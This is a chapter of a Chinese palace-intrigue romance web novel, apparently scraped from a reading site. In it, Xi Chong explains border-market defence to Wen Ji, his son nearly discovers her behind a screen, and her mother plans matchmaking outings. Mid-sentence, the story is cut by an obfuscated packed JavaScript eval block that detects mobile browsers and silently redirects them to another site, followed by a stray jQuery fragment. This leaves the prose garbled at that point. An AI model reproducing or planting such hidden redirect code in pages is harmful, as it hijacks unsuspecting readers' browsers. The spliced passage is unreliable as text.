123读书网 > 都市小说 > 爱上万人迷他爹 > 145. 局势
    温寂走上前去。


    舆图巨大,山川河流连绵不绝的绘于图上,站在前面能感受到那种扑面而来的磅礴。


    她无声地站到他身侧,却觉得郗崇立于舆图之前,挺拔的身形在黯淡的光线里也像一座难以攀登的山峰。


    “前朝也曾有开边市的过往,以盐茶铁器,换取漠北良马。”男人声音沉缓,“不过五年的时间便让外族蹄铁焕然一新。接下来便撕毁契约,致使北境三镇沦陷,烽火直逼中原。”


    “漠邦人贪得无厌,背信弃义是常事,与其说信任,不如说需时刻手握令其忌惮之力。”


    温寂认真听着,轻点下颌,又听郗崇道,


    “互市定在并州。”


    他骨节分明的手沿着图上山脉的脊线移动,点在并州的位置,略略侧身,问她,“你可知为何定在此地?”


    温寂读过不少地理志,也曾受过他的教导,此时便也未作过多犹豫,“并州地势险要,西北背靠云山天险,城墙依山而筑,易守难攻。往东是龙脊山脉的天堑,与安城等军事重镇相连。往南是肃州,而肃州东接青州,南望中原腹地,一旦并州有变,数州皆可驰援,这个地方稳妥。”


    郗崇点了点头。


    “嗯。”他认可了她的回答,“然实际操作上,并州地势并非无懈可击。”


    他的手指移动,指向另一处。


    “江全文此人,用兵偏于求稳,长于平原列阵,却不善山战,漠邦人自此处入侵,劫掠商远城一带的互市囤仓及富庶村镇,所得可能远超一年互市所得,利字当头,他们未必不会有铤而走险之心。”


    江全文是北境的军前将军,十年前是郗崇的旧部,郗崇言语中似乎并没有很认可他的能力,而他此次又被皇帝任命总理互市防务,大概率是已被皇帝收拢。


    郗崇又依次指出几处河谷与山峡的方向。


    “此处地势模糊,看似天堑,实则却有隐患。互市一开,人员往来复杂。若漠邦人包藏祸心,这些都可能成为破绽。”


    温寂听得专注,脑子里却同时在暗暗分析他言外的暗示。


    他一定在一些他所掌握的消息中判断漠邦人仍然有觊觎中原之心,只是此时尚未发生,他不能明言。


    “互市之时收买中原边境商人,官员,渗透中原内部,这些都是漠邦能使出的手段。而人心的贪婪,多方在各种不同的利益权衡,都可能成为局势的变数。”


    郗崇目光重新落回舆图,道,“然则这些都不足为惧。只要大邺内部平稳,互市监管严密,仍然能换得边境安稳。”


    他的语气始终沉稳,温寂侧过头,抬起眼望向他被微光映照的冷肃面容。


    即使他说这事他说不准,可言语间却仍然没有担忧。


    他既已设想了各种阴谋的出现,便一定会做防范。所以这些,很有可能都在他能够把握的范围之内。


    可内部平稳,什么是内部平稳呢?他的意思是说,若朝廷仅限于以互市进行经济制衡或者情报渗透,他自有应对之法,可保大局不乱,可若朝廷更进一步,他也不会退让是吗?


    朝廷能怎么更进一步呢?插手边境人事?挑起边境冲突然后归咎于郗崇?或是从朝堂发动更大的攻讦。


    一种淡淡的对未来的不可控之感笼罩了她,两方相争,而她在其中却是枝头的藤蔓,借着东风或西风选择出最利于自己的部分。


    郗崇告诉了她这么多,可她不能全然信任他,而他也不能全然信任于她。


    温寂垂下眼睫,时间不知不觉过了一个多时辰,她似乎也该告辞了。


    她启唇,正准备说些什么,外面却隐约有了动静。


    脚步声由远及近,清冷而熟悉的声音隔着门传来,


    “父亲。”


    温寂闭上了嘴。


    她后退两步,裙裾轻动,在郗崇沉静无波的注视下,像只白狐一样消失在了房间里。


    ……


    郗绍从门外走入时,却见父亲站在舆图前,不知在想些什么。


    “父亲。”他行了礼。


    “何事。”


    郗绍道,“陛下今日召见,命我协同禁军副统领负责秋猎守卫事宜。”


    两人身姿都是高大,却是不完全相同的气质,温寂站在屏风后,视线透过雕花的缝隙,堪堪将父子二人装入眼底。


    她目光虚虚柔柔,心中觉得皇帝真是可笑,一边要对郗崇施压制衡,一边还装作无事的重用着郗绍。


    可就在这时,郗绍的目光忽然扫了过来。


    似乎有什么在自己身上拂过,他偏头,眸光在那雕花的山水间逡巡。


    那屏风上镀着暗沉沉的光,山水画的影影绰绰,恍惚间仿佛真有什么东西在流动,似乎下一瞬就该幻化出一道实形的影子。


    紧接着,极其轻微的脚步退后声落入他的耳中。


    屏风后面有人。


    他心中凛然,回过头,却听父亲已然开口,“既是陛下安排,你尽心办好便是。”


    郗绍收回视线,垂首称是。


    他一向尊敬郗崇,见他没有并没有解释的意思,也只当是父亲在与某位隐秘的下属商议机密之事,没有多问。


    地面泛着冰冷的光泽,郗绍又与郗崇简要交谈了几句,便告辞退了出去。


    门咯吱一声合上。


    温寂从悄然从屏风后面走了出来,站到郗崇面前。


    她仰头看他,见他神色没什么变化,刚准备开口,便听郗崇沉声道,


    “我送你回去。”


    温寂心中腹诽了郗绍一句,早不来晚不来,这下好了,她这个硬凑上来的小辈到底比不过他们血脉相连的父子情深。


    她垂下眼,轻轻嗯了一声。


    ……


    走出书房,日光便迎面扑来。大约是见到了阳光的原因,郗崇身上的气势又柔和了些许。


    温寂跟在他身侧,敏感的察觉到他心情的变化。望着他衣袖随着步伐摆动,她忽然伸出手,用指尖攥住了他一片锈了云纹的袖摆。


    感到袖子上一点轻微的扯动,郗崇垂眸看向身边的女子。


    “大人也经常和世子探讨那些吗?您告诉我的那些东西。”


    她黑珍珠似的瞳仁剔透,眼中又有些不知真假的撒娇味道。


    郗崇步子迈的稳,走路的时候会刻意放缓速度以适应她的步调,任由她牵着他的袖子,只是也没有回答。


    他沉默着,显然并不愿在此刻与她谈论郗绍。


    自那日郗绍在跪在书房,说出那番话之后。郗崇回想起来,才发现一切其实早有端倪,只是他却一次又一次选择了没有继续深究。


    她第一次试探他身份的时候,手中就拿着郗绍的玉佩。


    郗绍送她手链,她又送他护腕,她在坐在自己身旁听课,却会为了他儿子的声音神伤。


    少年人之间的感情总是纯粹。而她对自己的倾慕,却混杂着对权势,父爱的渴望,连她自己或许都未曾完全厘清。


    等了半天没见郗崇回答,温寂又轻轻扯了扯他的袖子。


    她心中其实有些担心,可没名没分的,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253883|186864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也没问,她又怎么和他解释和郗绍那些乱七八糟的事情?说不准还会将他推远。


    她又自顾自的补充,似乎妄图用她似是而非的话激起他的怜惜,“我嫉妒他,他可以做你的孩子,你喜欢他…”


    “…要比喜欢我多很多。”


    她声音低了下去。


    其实不是的,不然她也不会变成这样。


    郗崇停下了脚步。


    转过身,见温寂一张漂亮的脸上已经微微凝了眉头,眸中带着一丝难以察觉的慌乱。


    他眼神沉黯,却并不想让她伤心,抬起手轻轻抚了抚她的鬓发。


    是她喜欢的动作。


    “他有专门的师傅和幕僚负责教导。”


    男人声音温和,“我只在议事的时候会与他探讨这些。”


    “走吧。”


    郗崇重新转回了身。他的衣摆与她白色的衣料轻轻擦过,温寂鬓边还有一点轻微的触感,却在那一瞬间突然感到了后悔。


    她不该让他这样像哄小孩一样哄她。


    她早就不是孩童了。


    她提裙跟上前去,又扯住郗崇的袖摆,抬眼轻声道,“其实我是说着玩的,我自己有父亲呢。”


    “您不要放在心上。”


    ……


    温寂回到府上,便有林清遣来递话的人候在了廊下。


    那人道,“前日皇后唤太子入坤宁宫,太子归去时,便大病一场,紧接着唤国舅入了东宫。近日坤宁宫与东宫侍奉的宫人更替颇多。先生推测,怕是长公主那头放了什么风声,欲借流言扰东宫清静,令太子自乱阵脚。”


    温寂颔首,又听那人道,“另外还有一事,先生特命小人禀告小姐。您那位表小姐已经接连偶遇殿下三回了,言语中似有试探之意,但殿下暂且无动于衷,还请小姐心中留意。”


    温寂眼神微动,只道,“有劳先生费心提点,若再有消息,烦请先生递个话。”


    那人称是,退了下去。


    第二日清晨,温寂正坐在镜前梳妆,甘棠在一旁替她挽发,母亲舒氏院里的贴身大丫鬟却来了院子请她,道夫人唤二小姐过去说话。


    一路花开的正旺,温寂到了舒氏所居的正院,丫鬟打了帘子让她进去,一进门,只见舒氏今日穿了一身沉稳的黛色裙衫,正坐在临窗的榻边,面前的小几上摊开着好几本厚厚的册子,她手中拿着一本,正细细翻看着什么。


    “母亲。”


    温寂上前,给舒氏问了安。


    舒氏便抬起头来,目光从那册子上移开,落在她身上,“阿寂来了。”


    侍女已经端了软凳上前,温寂便坐了下来。她侧头看向几上那些摊开的册子,好奇道,“母亲这是在看什么?”


    舒氏笑道,“这不是给你表妹相看人家么。这些都是些京城里人品好的青年才俊,我挑了好些日子,眼睛都看花了。”


    温寂视线自那摊开的册子上扫过,看了看那最上一人的身份,又想起舒灵霞,觉得这些可不一定能入得了她的眼。


    心中思量,面上却不显,只柔和的顺着舒氏,“母亲挑的总是好的。”


    舒氏一听心里熨帖,又看向温寂日渐清丽的面容,眼底流露出几分为人母的慈爱。


    不知何时,自己这个小女儿也长成大姑娘了。


    她道,“你如今结了业,母亲也少不得为你操心。”


    她顿了顿,又道,“我约了裴夫人和卢夫人,几位三日后一同去城外游玩。到时你与你姐姐都随我一同去,散散心,也见见几位世交长辈。”